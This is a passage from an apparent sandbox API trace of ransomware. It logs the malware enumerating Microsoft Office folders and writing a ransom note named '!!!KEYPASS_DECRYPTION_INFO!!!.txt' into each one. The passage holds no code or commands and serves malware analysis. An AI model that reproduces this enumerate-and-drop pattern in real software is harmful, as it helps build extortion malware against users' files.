Office\\root\\Office16\\FORMS\\1033\\IPML.ICO") returned=".ICO" [0257.088] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.089] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\IPMS.ICO") returned=".ICO" [0257.089] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.089] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\MMSL.ICO") returned=".ICO" [0257.089] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.089] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\MMSS.ICO") returned=".ICO" [0257.089] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.089] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\NOTE.CFG") returned=".CFG" [0257.089] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.089] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\NOTEL.ICO") returned=".ICO" [0257.089] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.090] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\NOTES.ICO") returned=".ICO" [0257.090] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.090] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\OMSMMS.CFG") returned=".CFG" [0257.090] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.090] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\OMSSMS.CFG") returned=".CFG" [0257.090] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.090] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\OOFL.ICO") returned=".ICO" [0257.090] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.090] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\OOFS.ICO") returned=".ICO" [0257.090] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.090] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\OOFTMPL.CFG") returned=".CFG" [0257.090] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.090] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\POST.CFG") returned=".CFG" [0257.090] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.090] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\POSTIT.CFG") returned=".CFG" [0257.090] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.090] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\POSTITL.ICO") returned=".ICO" [0257.090] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.090] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\POSTITS.ICO") returned=".ICO" [0257.090] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.090] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\POSTL.ICO") returned=".ICO" [0257.090] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.090] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\POSTS.ICO") returned=".ICO" [0257.090] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.090] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\RCLRPT.CFG") returned=".CFG" [0257.090] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.090] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\REC.CFG") returned=".CFG" [0257.090] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.090] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\RECL.ICO") returned=".ICO" [0257.090] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.090] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\RECS.ICO") returned=".ICO" [0257.090] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.090] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\REMOTE.CFG") returned=".CFG" [0257.090] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.091] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\REMOTEL.ICO") returned=".ICO" [0257.091] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.091] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\REMOTES.ICO") returned=".ICO" [0257.091] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.091] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\REPLTMPL.CFG") returned=".CFG" [0257.091] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.091] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\REPORT.CFG") returned=".CFG" [0257.091] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.091] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\REPORTL.ICO") returned=".ICO" [0257.091] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.091] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\REPORTS.ICO") returned=".ICO" [0257.091] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.091] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\RESEND.CFG") returned=".CFG" [0257.091] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.091] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\RESENDL.ICO") returned=".ICO" [0257.091] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.091] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\RESENDS.ICO") returned=".ICO" [0257.091] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.091] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\RSSITEM.CFG") returned=".CFG" [0257.091] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.091] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\RSSITEML.ICO") returned=".ICO" [0257.091] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.091] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\RSSITEMS.ICO") returned=".ICO" [0257.091] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.091] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\SCDCNCLL.ICO") returned=".ICO" [0257.091] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.091] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\SCDCNCLS.ICO") returned=".ICO" [0257.091] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.091] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\SCDREQL.ICO") returned=".ICO" [0257.091] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.092] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\SCDREQS.ICO") returned=".ICO" [0257.092] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.092] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\SCDRESNL.ICO") returned=".ICO" [0257.092] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.092] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\SCDRESNS.ICO") returned=".ICO" [0257.092] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.092] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\SCDRESPL.ICO") returned=".ICO" [0257.092] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.092] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\SCDRESPS.ICO") returned=".ICO" [0257.092] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.092] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\SCDRESTL.ICO") returned=".ICO" [0257.092] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.092] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\SCDRESTS.ICO") returned=".ICO" [0257.092] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.092] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\SCHDCNCL.CFG") returned=".CFG" [0257.093] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.093] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\SCHDREQ.CFG") returned=".CFG" [0257.093] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.093] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\SCHDRESN.CFG") returned=".CFG" [0257.093] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.093] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\SCHDRESP.CFG") returned=".CFG" [0257.093] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.093] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\SCHDREST.CFG") returned=".CFG" [0257.093] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.093] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\SECREC.CFG") returned=".CFG" [0257.093] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.093] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\SECRECL.ICO") returned=".ICO" [0257.093] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.093] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\SECRECS.ICO") returned=".ICO" [0257.093] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.093] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\SECURE.CFG") returned=".CFG" [0257.093] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.093] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\SECURL.ICO") returned=".ICO" [0257.093] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.093] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\SECURS.ICO") returned=".ICO" [0257.093] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.093] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\SHARING.CFG") returned=".CFG" [0257.093] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.093] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\SIGN.CFG") returned=".CFG" [0257.093] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.093] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\SIGNL.ICO") returned=".ICO" [0257.093] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.093] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\SIGNS.ICO") returned=".ICO" [0257.093] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.093] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\SMIMEE.CFG") returned=".CFG" [0257.093] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.093] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\SMIMES.CFG") returned=".CFG" [0257.093] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.093] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\SMSL.ICO") returned=".ICO" [0257.094] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.094] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\SMSS.ICO") returned=".ICO" [0257.094] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.094] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\TASK.CFG") returned=".CFG" [0257.094] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.094] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\TASKACC.CFG") returned=".CFG" [0257.094] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.094] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\TASKACCL.ICO") returned=".ICO" [0257.094] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.094] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\TASKACCS.ICO") returned=".ICO" [0257.094] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.094] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\TASKDEC.CFG") returned=".CFG" [0257.094] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.094] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\TASKDECL.ICO") returned=".ICO" [0257.094] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.094] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\TASKDECS.ICO") returned=".ICO" [0257.094] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.094] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\TASKL.ICO") returned=".ICO" [0257.094] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.094] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\TASKREQ.CFG") returned=".CFG" [0257.094] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.094] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\TASKREQL.ICO") returned=".ICO" [0257.094] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.094] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\TASKREQS.ICO") returned=".ICO" [0257.094] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.094] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\TASKS.ICO") returned=".ICO" [0257.094] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.094] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\TASKUPD.CFG") returned=".CFG" [0257.094] FindNextFileW (in: hFindFile=0x3a0a9f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0257.094] FindNextFileW (in: hFindFile=0x3a0ac78, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0257.094] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.095] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0257.095] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38714f0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0257.095] GetLastError () returned 0x3f0 [0257.095] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FPA_f14\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FPA_f14\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0257.095] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FPA_f14\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0257.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FPA_f14\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\fpa_f14\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa04 [0257.096] GetFileType (hFile=0xa04) returned 0x1 [0257.096] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0257.096] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0257.096] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0257.096] WriteFile (in: hFile=0xa04, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0257.097] WriteFile (in: hFile=0xa04, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0257.097] CloseHandle (hObject=0xa04) returned 1 [0257.097] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FPA_f14\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0x3a0ad78 [0257.097] FindNextFileW (in: hFindFile=0x3a0ad78, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0257.097] FindNextFileW (in: hFindFile=0x3a0ad78, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0257.097] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FPA_f14\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0257.097] FindNextFileW (in: hFindFile=0x3a0ad78, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0257.097] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FPA_f14\\FA000000014") returned="" [0257.097] FindNextFileW (in: hFindFile=0x3a0ad78, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0257.097] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.097] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0257.097] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38714f0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0257.097] GetLastError () returned 0x3f0 [0257.097] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FPA_f2\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FPA_f2\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0257.097] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\FPA_f2\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0257.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FPA_f2\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\fpa_f2\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa0c [0257.099] GetFileType (hFile=0xa0c) returned 0x1 [0257.099] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0257.099] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0257.099] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0257.099] WriteFile (in: hFile=0xa0c, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0257.100] WriteFile (in: hFile=0xa0c, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0257.100] CloseHandle (hObject=0xa0c) returned 1 [0257.100] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FPA_f2\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0x3a0aab8 [0257.100] FindNextFileW (in: hFindFile=0x3a0aab8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 